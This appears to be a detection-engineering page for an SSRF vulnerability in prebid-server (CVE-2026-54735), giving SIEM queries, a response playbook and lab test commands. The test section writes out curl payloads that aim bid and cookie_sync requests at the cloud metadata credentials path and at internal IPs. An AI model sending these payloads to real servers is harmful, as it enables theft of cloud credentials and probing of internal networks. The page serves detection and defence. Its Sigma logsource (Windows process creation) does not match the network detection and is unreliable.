CVE-2026-54735

Prebid Server SSRF via Request Forgery (CVE-2026-54735)

Detects exploitation of CVE-2026-54735, a critical (CVSS 10.0) server-side request forgery (SSRF) vulnerability in prebid/prebid-server affecting versions < 4.4.0, <= 3.30.0, <= 2.32.0, and <= 0.275.0. The flaw (CWE-918) allows an attacker to craft bid request or adapter/URL parameters that cause the prebid-server host to issue outbound requests to attacker-controlled or internal/cloud-metadata endpoints, potentially exfiltrating host environment data (cloud metadata credentials, internal service responses). Detection focuses on anomalous outbound HTTP requests originating from prebid-server processes/containers to internal RFC1918 ranges, loopback, link-local cloud metadata IPs (169.254.169.254), or unexpected external hosts triggered by bid/adapter request handling.

Vulnerability Intelligence

Public PoC

Affected Software

Vendor
go
Product
github.com/prebid/prebid-server/v4, github.com/prebid/prebid-server/v3, github.com/prebid/prebid-server/v2, github.com/prebid/prebid-server
Versions
< 4.4.0, <= 3.30.0, <= 2.32.0, <= 0.275.0

Weakness (CWE)

Timeline

Disclosed
July 29, 2026

CVSS

10.0
Critical (9.0–10)
CVSS vector not yet published
Read the write-up →

What is CVE-2026-54735 Prebid Server SSRF via Request Forgery (CVE-2026-54735)?

Prebid Server SSRF via Request Forgery (CVE-2026-54735) (CVE-2026-54735) maps to the Initial Access and Collection and Command and Control tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for Prebid Server SSRF via Request Forgery (CVE-2026-54735), covering the data sources and telemetry it touches: Network connection logs, Container/host process logs, Custom prebid-server access logs. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Collection Command and Control
Microsoft Sentinel / Defender
kusto
// Requires prebid-server container/host network logs ingested (e.g., via AzureDiagnostics, custom table, or Defender for Cloud network flow logs)
let MetadataIps = dynamic(["169.254.169.254"]);
let InternalRanges = dynamic(["10.","172.16.","172.17.","172.18.","172.19.","172.2","172.30.","172.31.","192.168.","127."]);
PrebidServerHttpLogs_CL
| where ProcessName_s has "prebid-server" or Container_s has "prebid-server"
| where isnotempty(DestinationIP_s)
| extend IsMetadata = DestinationIP_s in (MetadataIps)
| extend IsInternal = InternalRanges has_any (pack_array(DestinationIP_s))
| where IsMetadata or IsInternal or RequestPath_s has_any ("/openrtb2/auction","/openrtb2/amp","/setuid","/cookie_sync")
| where RequestPath_s has_any ("/openrtb2/auction","/openrtb2/amp","/setuid","/cookie_sync") and (IsMetadata or IsInternal)
| project TimeGenerated, ProcessName_s, SourceIP_s, DestinationIP_s, RequestPath_s, UserAgent_s, HttpStatusCode_d
| summarize Count=count(), Paths=make_set(RequestPath_s), Destinations=make_set(DestinationIP_s) by SourceIP_s, bin(TimeGenerated, 5m)
| where Count > 1

Flags outbound requests from prebid-server processes to cloud metadata IP or internal/private IP ranges triggered by auction/amp/setuid/cookie_sync endpoints, indicative of SSRF exploitation via crafted bid or adapter URL parameters.

critical severity medium confidence

Data Sources

Network connection logs Container/host process logs Custom prebid-server access logs

Required Tables

PrebidServerHttpLogs_CL

False Positives

  • Legitimate internal adapter endpoints configured to call internal ad servers
  • Misconfigured monitoring/health-check tools polling metadata-like IPs
  • Load balancer or service mesh sidecars proxying through internal IPs
  • Test/staging environments intentionally pointing adapters at internal mock servers

Sigma rule & cross-platform mapping

The detection logic for Prebid Server SSRF via Request Forgery (CVE-2026-54735) (CVE-2026-54735) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate SSRF request to cloud metadata endpoint via crafted auction request

    Expected signal: Outbound HTTP connection from prebid-server process to 169.254.169.254 logged in network flow/access logs with source path /openrtb2/auction

  2. Test 2Simulate SSRF probe to internal RFC1918 service via cookie_sync endpoint

    Expected signal: Outbound HTTP connection from prebid-server process to internal IP 10.0.0.5 logged with request path /cookie_sync

  3. Test 3Version fingerprint check against vulnerable prebid-server release

    Expected signal: HTTP GET request to /status or /version endpoint logged in prebid-server access logs

  4. Test 4Simulate repeated metadata-scanning pattern via openrtb2/amp endpoint

    Expected signal: Multiple outbound HTTP connections from prebid-server process to distinct internal/metadata IPs within a short time window, logged with request path /openrtb2/amp


Response Playbook

Triage

  1. Identify the source IP and affected prebid-server instance/container generating the alert; confirm the running prebid-server version against affected ranges (< 4.4.0, <= 3.30.0, <= 2.32.0, <= 0.275.0)
  2. Review the raw bid/auction request payload (openrtb2/auction, openrtb2/amp, setuid, or cookie_sync) for attacker-supplied URLs, adapter endpoint overrides, or malformed host/redirect parameters that could trigger SSRF
  3. Correlate the flagged destination IP against known cloud metadata endpoints (169.254.169.254, metadata.google.internal) and internal RFC1918 ranges to determine if sensitive internal services or credential endpoints were reached
  4. Check response size/status codes and timing of the outbound request to assess whether data was successfully returned to the attacker (e.g., via response reflection in bid responses or logs)
  5. Determine whether the request originated from an authenticated partner/adapter integration or an anonymous/unexpected client, and check for repeated probing patterns across multiple destination IPs (metadata scanning behavior)

Containment

  1. Immediately upgrade prebid-server to a patched version (>= 4.4.0 on v4 branch, or apply the equivalent backport if pinned to v3/v2/legacy) and restart affected instances
  2. Apply network-level egress filtering/firewall rules to block prebid-server hosts/containers from reaching the cloud metadata IP (169.254.169.254) and non-essential internal RFC1918 ranges until patched
  3. If cloud-hosted, rotate any credentials or tokens accessible via the instance metadata service (IMDS) that may have been exposed, and enforce IMDSv2 or equivalent token-required metadata access where supported
  4. Temporarily disable or restrict adapter/endpoint configuration options that allow user-influenced URL parameters in bid requests, if the deployment allows custom adapter endpoints

Evidence Collection

  1. Preserve prebid-server access/application logs, including full request/response bodies for the flagged openrtb2/auction, openrtb2/amp, setuid, and cookie_sync requests, along with timestamps and source IPs
  2. Capture network flow logs/pcap for the affected host showing the outbound connection to the metadata or internal IP, including any returned response data
  3. Collect the running prebid-server binary version, configuration files (adapter definitions, allowed hosts), and container image digest for forensic comparison against known-vulnerable builds
  4. Snapshot cloud IAM/role activity logs (CloudTrail, Azure Activity Log, GCP Audit Log) around the incident window to check for anomalous API calls using potentially exfiltrated credentials

Escalation Criteria

  • ! Evidence that a request to the cloud metadata endpoint returned instance credentials, IAM role tokens, or other sensitive data in the prebid-server response or logs
  • ! Confirmed unpatched, internet-facing prebid-server instance actively exploited with multiple distinct SSRF attempts against internal infrastructure or metadata services
  • ! Signs of lateral movement or use of credentials/tokens obtained via the SSRF (e.g., anomalous cloud API calls, new IAM keys, unexpected resource access) following the alert window
  • ! Public PoC-driven mass scanning activity observed hitting multiple prebid-server deployments across the organization's ad-tech infrastructure

Investigation Guide

Forensic Artifacts

  • > Prebid-server access/application logs showing openrtb2/auction, openrtb2/amp, setuid, or cookie_sync requests with attacker-controlled URL/adapter parameters
  • > Outbound network connection/flow logs from the prebid-server host to metadata (169.254.169.254) or internal IP addresses
  • > Cloud provider IMDS/metadata service access logs (where available) correlating with the timing of the SSRF request
  • > Container/orchestration platform audit logs (Kubernetes API server logs, Docker events) showing the affected prebid-server pod/container version and configuration

Tuning Guidance

Baseline expected internal adapter/bidder endpoints used by the organization's prebid-server deployment and allow-list them to reduce noise from legitimate internal traffic. Exclude known health-check and service mesh sidecar IPs. Increase the alert threshold (event_count/connection_count) in environments with high legitimate internal call volume, and prioritize alerts where the destination is exactly the cloud metadata IP (169.254.169.254) as these carry the highest confidence of true exploitation versus generic internal-range false positives.


Hunting Queries

Proactively hunts for prebid-server bid/auction requests whose body contains explicit references to metadata service hostnames/IPs or loopback addresses, which may indicate SSRF payload staging even before a successful outbound connection is observed.

Hunting — KQL
kql
PrebidServerHttpLogs_CL
| where RequestPath_s has_any ("/openrtb2/auction","/openrtb2/amp","/setuid","/cookie_sync")
| where RequestBody_s has_any ("169.254.169.254","metadata.google.internal","localhost","127.0.0.1")
| project TimeGenerated, SourceIP_s, RequestPath_s, RequestBody_s
Hunting — SPL
spl
index=prebid_server sourcetype=prebid:access uri_path IN ("/openrtb2/auction","/openrtb2/amp","/setuid","/cookie_sync")
| regex request_body="(169\.254\.169\.254|metadata\.google\.internal|localhost|127\.0\.0\.1)"
| table _time src_ip uri_path request_body

Atomic Red Team Tests

Test 1 Simulate SSRF request to cloud metadata endpoint via crafted auction request
linux

Sends a crafted openrtb2/auction request to a lab prebid-server instance containing an adapter/host parameter pointing to the cloud metadata IP to validate detection of outbound metadata-directed traffic.

Command

bash
curl -s -X POST http://localhost:8000/openrtb2/auction -H 'Content-Type: application/json' -d '{"id":"test-ssrf-1","imp":[{"id":"1","ext":{"prebid":{"bidder":{"generic":{"endpoint":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}}}}]}'

Cleanup

bash
No persistent state created; no cleanup required beyond clearing lab logs if desired: rm -f /tmp/prebid_ssrf_test.log

Expected Telemetry

Outbound HTTP connection from prebid-server process to 169.254.169.254 logged in network flow/access logs with source path /openrtb2/auction

Expected Detection

KQL/SPL/EQL rules should fire on destination IP 169.254.169.254 combined with request path /openrtb2/auction

Test 2 Simulate SSRF probe to internal RFC1918 service via cookie_sync endpoint
linux

Sends a crafted cookie_sync request referencing an internal RFC1918 address to validate detection of SSRF attempts targeting internal infrastructure.

Command

bash
curl -s -X POST http://localhost:8000/cookie_sync -H 'Content-Type: application/json' -d '{"bidders":["generic"],"gdpr":0,"account":"test","limit":1,"coopSync":false,"filterSettings":{},"debug":true,"redirectUrl":"http://10.0.0.5:8080/internal-admin"}'

Cleanup

bash
rm -f /tmp/prebid_ssrf_test2.log

Expected Telemetry

Outbound HTTP connection from prebid-server process to internal IP 10.0.0.5 logged with request path /cookie_sync

Expected Detection

SPL/QRadar/Sumo rules should fire on destination IP within 10.0.0.0/8 combined with request path /cookie_sync

Test 3 Version fingerprint check against vulnerable prebid-server release
linux

Queries the lab prebid-server instance's status/version endpoint to confirm it is running a version within the affected range, validating pre-conditions before running SSRF simulation tests.

Command

bash
curl -s http://localhost:8000/status | grep -Ei 'version|revision' || curl -s http://localhost:8000/version

Cleanup

bash
No cleanup required; read-only version check

Expected Telemetry

HTTP GET request to /status or /version endpoint logged in prebid-server access logs

Expected Detection

Not directly detected as malicious; used as a prerequisite validation step and should be excluded from vulnerability alerting via path-based false-positive filtering

Test 4 Simulate repeated metadata-scanning pattern via openrtb2/amp endpoint
linux

Issues multiple rapid openrtb2/amp requests each targeting different internal/metadata-adjacent IPs to simulate an attacker enumerating reachable internal services through the SSRF, validating the count-based detection threshold.

Command

bash
for ip in 169.254.169.254 10.0.0.1 172.16.0.1 192.168.1.1; do curl -s "http://localhost:8000/openrtb2/amp?tag_id=test&targeting=%7B%7D&curl=http://$ip/probe"; done

Cleanup

bash
rm -f /tmp/prebid_ssrf_scan.log

Expected Telemetry

Multiple outbound HTTP connections from prebid-server process to distinct internal/metadata IPs within a short time window, logged with request path /openrtb2/amp

Expected Detection

Count-based correlation rules (KQL summarize, SPL stats, QRadar HAVING COUNT) should fire due to event_count/connection_count exceeding threshold of 1 within the 5-minute window

Related Detections